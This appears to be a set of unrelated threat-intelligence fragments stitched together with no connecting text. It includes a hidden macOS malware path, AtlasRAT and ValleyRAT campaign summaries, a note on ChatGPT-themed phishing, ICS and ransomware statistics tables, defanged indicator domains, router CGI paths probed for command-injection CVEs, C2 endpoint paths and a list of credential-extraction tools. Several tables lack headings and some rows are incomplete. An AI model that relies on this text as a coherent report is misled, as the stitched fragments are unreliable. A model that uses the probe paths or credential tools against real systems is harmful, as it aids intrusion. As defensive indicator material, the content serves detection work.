File location: /Users/[username]/Library/Application Support/.com.apple.metadata.mds/mdworker_shared
File type: Mach-O universal binary with 2 architectures: x86_64 & arm64

AtlasRAT is a Remote Access Trojan (RAT) variant delivered through malicious setup files disguised as legitimate Flash Player software. As reported by researchers from ASEC, to obfuscate its command-and-control traffic, AtlasRAT utilizes ChaCha20 encryption over TLS, employing self-signed certificates spoofed to resemble Microsoft update infrastructure. Once active, the core malware provides threat actors with broad system control, including offline keystroke logging, file execution capabilities, process monitoring, and DLL code injection specifically targeting the WeChat application.

As reported by the researchers from Cato Networks, the Monarch threat group (aka SilverFox) has recently launched a malicious campaign targeting a Japanese industrial manufacturing company to deliver ValleyRAT, a persistent remote access trojan. Initiated via invoice-themed phishing emails linked to attacker-controlled content hosted on legitimate Tencent Cloud and QQ services, the attack drops a compressed file containing an initial downloader executable. To evade security monitoring, the threat actors abuse legitimate applications to sideload a malicious dynamic-link libraries. The used libraries operate as a modular Bring Your Own Vulnerable Driver (BYOVD) framework and has been observed to incorporate three separate vulnerable kernel-level drivers.

Most phishing campaigns rely on the fact that the victim is afraid to loose "something": money, access to information, ... Many brands have been impersonated by campaigns but I spotted some phishing emails that focus on AI services like ChatGPT.

Yesterday, I found this email that was properly designed but also sent with a very good timing: the end of the month when your classic billing process is restarted!

Seeing the importance of AI used by most companies but also residential users, this is a clever move from threat actors! Many people will be afraid to loose their access to ChatGPT.

Parameter	Q1 2026	Q2 2026	Quarterly changes
Global percentage of attacked ICS computers	19.6%	19.2%	▼0.4 pp
Percentage of ICS computers on which malicious objects from different categories were blocked
Malicious scripts and phishing pages	6.56%	5.42%	▼1.14 pp
Denylisted internet resources	3.54%	4.31%	▲0.77 pp
Spy Trojans, backdoors and keyloggers	3.73%	3.30%	▼0.43 pp
Malicious documents (MSOffice + PDF)	1.56%	1.77%	▲0.21 pp
Worms	1.33%	1.43%	▲0.10 pp
Viruses	1.31%	1.29%	▼0.02 pp
Miners in the form of executable files for Windows	0.59%	0.48%	▼0.11 pp
Malware for AutoCAD	0.30%	0.31%	▲0.01 pp
Ransomware	0.14%	0.16%	▲0.02 pp
Web miners running in browsers	0.22%	0.14%	▼0.08 pp
Main threat sources
Internet	7.88%	7.61%	▼0.27 pp
Email clients	2.59%	2.84%	▲0.25 pp
Removable media	0.26%	0.24%	▼0.02 pp
Network folders	0.03%	0.02%	▼0.01 pp

Domain	IP address	Registration date	ASN
orderapiserver[.]info	187.127.153[.]38	April 18, 2026	47583
tg4service[.]com	159.198.37[.]74	October 4, 2025	22612
srwinservice[.]com	213.252.244[.]123	March 19, 2026	61272
screenserv[.]com	23.26.237[.]250	February 13, 2026	149440
windowserv[.]net	23.27.24[.]30	February 10, 2026	149440
managementapiservice[.]com	188.212.124[.]178	May 1, 2026	202448
service8date[.]com	145.223.69[.]143	January 13, 2026	215311
updateservs[.]com	145.223.68[.]66	December 23, 2025	215311

	Name	Verdict	%*
1	(generic verdict)	Trojan-Ransom.Win32.Gen	28.02
2	WannaCry	Trojan-Ransom.Win32.Wanna	7.14
3	(generic verdict)	Trojan-Ransom.Win32.Crypren	6.27
4	(generic verdict)	Trojan-Ransom.Win32.Agent	4.89
5	(generic verdict)	Trojan-Ransom.Win32.Encoder	4.65
6	(generic verdict)	Trojan-Ransom.Python.Agent	3.07
7	(generic verdict)	Trojan-Ransom.Win32.Crypmod	2.70
8	(generic verdict)	Trojan-Ransom.MSIL.Agent	2.45
9	PolyRansom/VirLock	Virus.Win32.PolyRansom / Trojan-Ransom.Win32.PolyRansom	2.31
10	(generic verdict)	Trojan-Ransom.Win32.Phny	2.12

	Country/territory*	%**
1	Mali	1.56
2	Senegal	1.54
3	Tanzania	1.32
4	Panama	1.04
5	Bangladesh	1.03
6	Ethiopia	0.87
7	Costa Rica	0.67
8	Bolivia	0.67
9	Côte d’Ivoire	0.65
10	Kazakhstan	0.62

Country/territory	*% Q1 2026**	*% Q2 2026**
Brazil	1.13	1.13
China	1.04	1.28
Hong Kong	0.92	0.49
Singapore	0.85	0.19
France	0.62	1.18
Mexico	0.43	0.72
India	0.41	0.42
Thailand	0.40	0.24
Germany	0.33	0.71
The Netherlands	0.31	0.62

	Country/territory*	%**
1	South Korea	0.87
2	Pakistan	0.76
3	China	0.71
4	Libya	0.49
5	Tajikistan	0.46
6	Turkmenistan	0.38
7	Cameroon	0.38
8	Indonesia	0.36
9	Bangladesh	0.36
10	Mozambique	0.34

	Country/territory*	%**
1	Bangladesh	11.71
2	India	7.40
3	Tajikistan	7.13
4	Venezuela	7.05
5	New Zealand	6.58
6	Vietnam	6.34
7	Taiwan	6.28
8	Belgium	6.24
9	France	5.97
10	Hungary	5.92
11	Nepal	5.91
12	Portugal	5.86
13	Italy	5.77
14	Costa Rica	5.72
15	Canada	5.65
16	Qatar	5.61
17	Dominican Republic	5.52
18	Palestine	5.48
19	Greece	5.47
20	UAE	5.43

	Country/territory*	%**
1	Turkmenistan	46.38
2	Cuba	29.70
3	Tajikistan	28.46
4	Afghanistan	28.19
5	Yemen	27.85
6	Burundi	26.82
7	Mozambique	25.01
8	Republic of the Congo	24.88
9	Syria	23.17
10	Uzbekistan	22.49
11	China	21.92
12	Nicaragua	21.60
13	Cameroon	21.47
14	Bangladesh	20.43
15	Democratic Republic of the Congo	20.25
16	Algeria	19.78
17	Uganda	19.48
18	Ethiopia	18.57
19	Tanzania	18.54
20	Mali	18.53

URL	Count	Vulnerability
/	1	(simple recon for index page)
/apply.cgi	20	CVE-2024-12856 Four-Faith router command injection
/cgi-bin/adv_ping.cgi	20	?
/cgi-bin/diagnostic.cgi	20	CVE-2013-7179 Seowon Intech WiMAX SWU-9100 mobile route
/cgi-bin/DiagnosticsMsg.cgi	20
/cgi-bin/ping.cgi	20	?
/cgi-bin/system_mgr.cgi	20
/cgi-bin/traceroute.cgi	20
/diag_ping.cgi	20	CVE-2020-8949 (maybe.. slightly different URL) Gocloud devices
/goform/diagTool	20	CVE-2024-48419 (maybe..) Edimax Routers
/goform/ping	20
/ping_test.cgi	20
/sys_diag.html

URL	Function
/Res/get-command.Php?Uid=$gUid	Download additional payload
/Res/post_proc.Php?Fpath=b_force.Ps1	Download PowerShell script to maintain persistence
/Res/post_proc.Php?Fpath=scheduler-once	Download script to maintain persistence
/Res/index.Php	Submit System Information
/Res/new-upload.Php	Send Screenshot

Name	Function
ChromePassView	Extracts credentials stored in the Chrome web browser
WebBrowserBookmarksView	Extract bookmarks stored in the web browser
Network Password Recovery	Recover network passwords stored on the system
LastActivityView	Collection of event logs related to user activities and events occurring on the computer

Country/territory	Q1 2026	Q2 2026
The Netherlands	17.57%	21.18%
Germany	10.34%	16.73%
United States	23.74%	6.76%
Bulgaria	1.10%	5.50%
Sweden	2.09%	4.93%
Panama	6.34%	4.67%
Luxembourg	0.16%	4.62%
Romania	5.82%	4.06%
Vietnam	3.50%	3.91%
India	6.05%	2.78%

Country/territory	Q1 2026	Q2 2026
Pakistan	27.31%	36.60%
China	39.54%	35.62%
Russian Federation	8.25%	8.75%
India	4.66%	4.19%
Brazil	3.30%	3.34%
United States	0.45%	3.03%
Indonesia	6.71%	1.52%
Philippines	0.36%	0.95%
France	0.17%	0.84%
Thailand	0.55%	0.66%